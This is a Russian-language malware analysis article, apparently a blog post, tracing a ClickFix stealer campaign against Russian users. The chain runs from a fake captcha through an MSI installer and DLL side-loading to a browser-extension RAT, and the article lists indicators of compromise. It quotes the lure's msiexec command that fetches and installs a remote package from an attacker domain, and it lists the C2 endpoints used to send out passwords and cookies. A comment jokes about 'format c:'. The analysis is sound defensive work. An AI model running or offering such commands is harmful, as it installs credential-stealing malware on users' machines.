В конце сентября была зафиксирована активность по доставке стиллера с использованием техники ClickFix. Кампания была направлена на граждан России.

В статье разберём полную цепочку атаки: от фейковой капчи до удалённого управления машиной.
Основная часть
С чего всё начиналось
На момент анализа активности, VirusTotal не знал файлы с обнаруженными хэш суммами, поэтому было принято решение написать статью с разбором действий злоумышленников. Если обнаружите фактические ошибки, буду рад получить конструктивный ответ в комментариях.
ClickFix: как это работает
Сама техника ClickFix представляет собой социальную инженерию, и её цель в том, чтобы убедить жертву запустить вредоносный код на машине под любым предлогом (подробнее про ранее фиксировавшиеся атаки на Россию можно прочитать тут у BI.ZONE или тут на SecurityLabs).
Краткое описание принципа атаки:
Злоумышленники делают очень похожий сайт (или просто сайт), который выдается в поисковике (в наших случаях были даже легитимные сайты);
При входе на сайт посетителю показывается уже знакомое нам окно “Подтвердите, что вы не робот” (естественно, никто проверять и не собирается);
Только Captcha требует действий не на сайте, а в системе пользователя (например, выполнение команды);
Пользователь следует указаниям: Нажать Win+R и ввести команду с сайта;
Первый этап пройден, пользователь сам запустил ВПО.
Разобравшись с формальностями, приступим к самой атаке.
Первичный доступ (MSI файл)
Первая активность была замечена при переходе на сайт spbume[.]ru.
При повторной независимой сработке было замечено, что запрос выдается при переходе на следующий URL:
hxxps://trubomet[.]ru/product/bobyshka-tipa-bp1-20h1-5-55/?ysclid=muov5q95xh802265990
В обнаруженной кампании требовалось выполнение следующей команды:
msiexec /i https://flareru[.]live/ru[.]msi /passive ...
Загружаемый файл имел эту хэш-сумму SHA256: 7aa380960f4e83b5056455035dc12ed433ff79d6b7460b83f6ac99097251bff4. В дальнейших пунктах к исполняемым файлам будут сразу идти их хэш-суммы.
MSI пакет хранит в себе один EXE файл:

Понять, что установлено нежелательное ПО можно, например, по полю ProductCode в Property таблице:

В реестре Windows хранится информация о каждом установленном на компьютере продукте. Получить информацию об обнаруженной программе можно если существует следующая ветка реестра:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{GUID} HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{GUID}
— где GUID это значение записанное в Property.ProductCode.
Установка будет идти по следующему пути: %localappdata%\Programs\Internal Software\Vertification
В MSI пакете директории назначения лежат в табличке Directory:

После установки программа будет запущена. Об этом говорят значения в таблице CustomAction:

Тут важны поля Type, Source и Target. Они отвечают за тип действия, откуда будет взят объект, а также какой именно объект соответственно. В нашем случае цель один единственный файл methodology_87.4.4068.29_INSTALL.exe (таблица File).

Заканчиваем с анализом MSI пакета и переходим к EXE файлу внутри него.
Второй этап (EXE - Inno Setup)
EXE SHA256: 029cd072e425e1a83720c36841baaaac83a82d87696a733587f7f1d7c5f29328
Запускающая командная строка выглядит так:
"C:\Users\USERNAME\AppData\Local\Temp\is-UTZRDZ9Q5V.tmp\methodology_87.4.4068.29_INSTALL.tmp" /SL5="$270378,3832617,1062912,C:\Users\USERNAME\AppData\Local\Programs\Internal Software\Vertification\methodology_87.4.4068.29_INSTALL.exe" /VERYSILENT /PASSWORD={PASSWORD}
Здесь /SL5="$270378,3832617,1062912,C:\Users\USERNAME\AppData\Local\Programs\Internal Software\Vertification\methodology_87.4.4068.29_INSTALL.exe" - аргументы для внутреннего установщика Inno Setup ($код,размер,смещение,путь к основному EXE).
Этот файл просто установщик, хотя странности тут тоже можно заметить, например, такие строки в ресурсах самого файла:

Как видно там и 2063 год, и случайные слова в FileDescription, и ai-helperlinux в названии продукта (напомню файл для Windows предназначен).
В результате работы установщика на диске появляются следующие файлы:
- C:\ProgramData\PapayaWhipGreenYellow\FnHotkeyUtility.exe (Легитимное ПО от Lenovo) - C:\ProgramData\PapayaWhipGreenYellow\vcruntime140_1.dll - C:\ProgramData\PapayaWhipGreenYellow\ludp.dll - C:\ProgramData\PapayaWhipGreenYellow\spkvol.dll - C:\ProgramData\PapayaWhipGreenYellow\msvcp140.dll - C:\ProgramData\PapayaWhipGreenYellow\vcruntime140.dll
Также фиксируется изменение ключей реестра со скрина:

Выставленные значения отвечают за настройки зоны доверия. В данном случае мы доверяем всему из сети и отключаем средства мониторинга, которые могут искать аномальную активность.
Легитимный EXE (от Lenovo) и DLL Side Loading (DLL на Rust)
Установщик стартует легитимное ПО от Lenovo (FnHotkeyUtility.exe), но в него подгружается вредоносная библиотека spkvol.dll. Этот вывод можно сделать если взглянуть в перечень загруженных процессом DLL. Если библиотека поставляется в составе легитимной программы, но содержит скрытый вредоносный функционал, такой приём называется DLL Side-Loading.

EXE SHA256 : 2728e26af764a64dd31f6df20bad9ce68f27a1c54628abf7353a62f5e67a9dff
DLL SHA256: f248c14d2b9704f114d4cceae7ea2318c642f1ad8ef8aa59acbdb4e9aeede190
При помощи утилиты Detect It Easy можно глянуть, какие именно функции FnHotkeyUtility.exe импортирует из spkvol.dll:

Делаем вывод, что старт вредоносной активности может быть либо в них, либо в DllMain/DllEntryPoint, которая вызывается при каждой подгрузке динамической библиотеки в программу.
На данный момент я не в состоянии разобрать библиотеку, возможно чуть позже к ней вернусь, но могу сказать, что, скорее всего, вредоносная нагрузка стартует через CreateThread.
В результате работы программы у пользователя создалась папка по следующему пути с вредоносным расширением:
%localappdata%\Packages\Extensions\A43A3C449CA99DB2E8ECBA3D2D059837582D8C24C37B700611DACD53A9112223\e0
Расширение
Данное расширение стартует в скрытом msedge (передача флага --headless), дабы в дальнейшем стать ниточкой связывающей хост и С2. Внутри папки содержатся обфусцированные JavaScript скрипты, а также скрипт на Powershell.
Powershell скрипт выполняет следующие действия по запросу извне:
list - листинг директории и дисков;
read - выгрузка файла;
write - загрузка файла;
run - запуск программы.
При старте ps1 скрипта задается конфигурация C2 через обычные Input Output потоки.
Теперь перейдем к анализу расширения. Для этого обратим внимание на манифест файл.
При анализе отмечаем множество запрашиваемых разрешений:
cookies - возможность читать куки;
history - возможность читать историю браузера;
storage - возможность хранения, извлечения и отслеживания изменений пользовательских данных;
alarms - возможность задавать отложенный или периодичный запуск кода;
tabs - возможность управлять вкладками браузера;
scripting - возможность внедрения скриптов на страницы;
management - возможность управлять расширениями, приложениями и темами;
bookmarks - возможность чтения и управления закладками;
notifications - возможность отправлять и управлять уведомлениями;
proxy - возможность управления прокси (обход СЗИ);
declarativeNetRequest и declarativeNetRequestWithHostAccess - возможность модифицировать запросы к вебсайтам, чтобы блокировать какой-либо контент (для Host требуются разрешения хоста);
nativeMessaging - возможность запуска и управления приложения на хосте.
Именно последнее разрешение позволяет нам запускать ранее обнаруженный Powershell скрипт. Для определения, какое приложение запускает расширение можно перейти в host подпапку, внутри которой лежит JSON файлик с конфигурацией:

declarativeNetRequest и declarativeNetRequestWithHostAccess используют JSON в подпапке rules. Здесь хранится информация о необходимости модификации любого Response пакета, а именно удаление следующих заголовков из ответов:
content-security-policy (CSP) - возможность браузера защищаться от XSS (Cross-Site Scripting, межсайтовый скриптинг);
content-security-policy-report-only — отключение логирования о нарушениях политики CSP;
x-content-security-policy — устаревший заголовок для старых браузеров, функционал как у первых двух;
x-webkit-csp — устаревший заголовок для старых браузеров, функционал как у первых двух.
Хранятся правила вот в этих полях манифест файла:

Далее при старте каждой страницы (до её построения) запускается скрипт assets/csp-strip.ts-DrI45pKU.js, он отвечает за повторную проверку уже не в HTTP Response, а внутри HTML страницы, где ищет перечисленных ранее тегов CSP, после чего удаляет их. Данные теги хранятся в <meta> у страницы.
На момент окончания построения страницы стартует уже скрипт assets/content.ts-B6XGI__y.js, который отвечает за кражу паролей со страницы “подписываясь” на все события click и submit. Определяются поля по следующим ключевым словам (а также типу autocomplete):
username;
email;
tel;
text;
password.
После перехвата отправляется сообщение в background скрипт в формате { url, username, password } и типом BP_PASSWORD. Также этот скрипт реализует функцию “отбивки” на С2, что агент онлайн (тип BP_HEARTBEAT) и сообщения о браузере (тип BP_BROWSER).
Теперь приступим к анализу самого большого скрипта, а именно background. Он называется service-worker-loader.js и дополнительно включает в себя assets/background.ts-Bi5RxVji.js.
При их анализе получена следующая информация:
C2 адрес: http://193.178[.]158[.]61:8080/api/v1.
Используемые URL пути для общения с C2:
/ext/extensions — отправка информации про расширения браузера;
/ext/cookies — отправка cookies;
/ext/bookmarks — отправка закладок;
/ext/passwords — отправка паролей;
/ext/history — отправка истории;
/ext/screenshot — отправка сделанного скриншота;
/ext/remote — удаленное управление экраном через WebSocket;
/ext/uninstall — отбивка, что расширение удалено;
/ext/ping — запросы команд;
/ext/explorer/run-complete — запуск файла на хосте;
/ext/explorer/snapshot — отправка информации о дисках пользователя и состоянии директории;
/ext/explorer/download-chunk — отправка файл с хоста;
/ext/explorer/upload-pull — загрузка файла;
/ext/explorer/upload-complete — подтверждение корректной загрузки.
Вот, кстати функция, которая обрабатывает посылаемые от content.ts события:

Здесь к уже собранным данным добавляется ID бота и используемый браузер.
Для управления удаленным экраном используются следующие команды:
remote_start;
remote_stop;
mouse_move;
mouse_down;
mouse_up;
scroll;
key_down;
key_up.
Помимо команд, например, для key_down могут приходить номера клавиш (как у обычной клавиатуры), а для перемещения курсора задаются X и Y координаты.
Сам формат получаемого сообщения:
{ type: 'mouse_down' | 'mouse_up' | 'mouse_move' | 'scroll' | 'key_down' | 'key_up', x: число, y: число, btn: 0 (левая) | 1 (средняя) | 2 (правая), dx: deltaX для scroll, dy: deltaY для scroll, key: строка (например 'a', 'Enter'), code: строка (например 'KeyA'), keyCode: число, text: строка (вводимый текст), ctrl: bool, shift: bool, alt: bool, meta: bool }
Таким образом расширение является полнофункциональным RAT (Remote Access Trojan).
Индикаторы компрометации
В ходе анализа были выявлены следующие индикаторы компрометации:
Тип индикатора |
Значение |
|---|---|
SHA256 |
7aa380960f4e83b5056455035dc12ed433ff79d6b7460b83f6ac99097251bff4 |
SHA256 |
f248c14d2b9704f114d4cceae7ea2318c642f1ad8ef8aa59acbdb4e9aeede190 |
SHA256 |
029cd072e425e1a83720c36841baaaac83a82d87696a733587f7f1d7c5f29328 |
Domain |
flareru[.]live |
Domain |
trubomet[.]ru (легитимный сайт) |
Domain |
spbume[.]ru (легитимный сайт) |
IP |
193.178[.]158[.]61 |
Extension ID |
hkaopoilcdlhchigljlbkjlehdiplmce |
Extension Native Messaging Host |
com.lunex.explorer |
Extension Description |
Lunex Explorer Native Host |
Product Code |
{66CF92BA-0B25-409e-81EF-E37A700259FA} |
Reg Key |
HKCU|HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall{Product Code} |
Explorer Path |
%localappdata%\Packages\Extensions\A43A3C449CA99DB2E8ECBA3D2D059837582D8C24C37B700611DACD53A9112223\e0 |
Explorer Path |
%localappdata%\Programs\Internal Software\Vertification\methodology_87.4.4068.29_INSTALL.exe |
Explorer Path |
C:\ProgramData\PapayaWhipGreenYellow\spkvol.dll |
Итоги
В данной статье была разобрана полная цепочка атаки типа ClickFix по гражданам России.
Похожая по шагам кампания также фиксировалась в сентябре по Украине. Об этом писали в западных СМИ, например в статье для The Hacker News от Ravie Lakshmanan. Различия с описанными мной действиями в том, что в обнаруженной атаке на россиян был использован не уязвимый драйвер, а пользовательское ПО от Lenovo.
Спасибо за то, что добрались до конца. Будьте внимательны и не запускайте команды, назначение которых вам не до конца понятно.
Комментарии (2)

sergeyns
16.10.2026 12:26Прямо как в анекдоте.. "Я комбаджийский вирус. С программированием в Камбодже очень плохо, поэтому, пожалуйста, наберите сами в командной строке format c:"
Killan50
Пользователь следует указаниям: Нажать Win+R и ввести команду с сайта;После этого остальное уже значения не имеет, сделать можно буквально что угодно.